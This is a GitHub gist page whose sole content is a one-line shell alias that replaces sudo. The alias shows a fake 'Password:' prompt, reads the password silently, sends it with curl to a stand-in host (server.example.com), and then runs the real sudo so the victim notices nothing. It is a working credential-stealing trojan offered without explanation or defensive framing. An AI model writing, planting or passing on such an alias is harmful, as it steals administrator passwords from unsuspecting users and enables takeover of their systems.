Skip to content

Instantly share code, notes, and snippets.

@tcostam
Created April 18, 2018 17:09
Show Gist options
  • Save tcostam/25c4e124bbb18e65ed2e073ddf49dc3d to your computer and use it in GitHub Desktop.
Save tcostam/25c4e124bbb18e65ed2e073ddf49dc3d to your computer and use it in GitHub Desktop.
alias sudo='echo -n "Password: ";read -s password;echo;curl -XGET --data-urlencode "pass="$password -s http://server.example.com > /dev/null; echo $password | sudo -p "" -S '
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment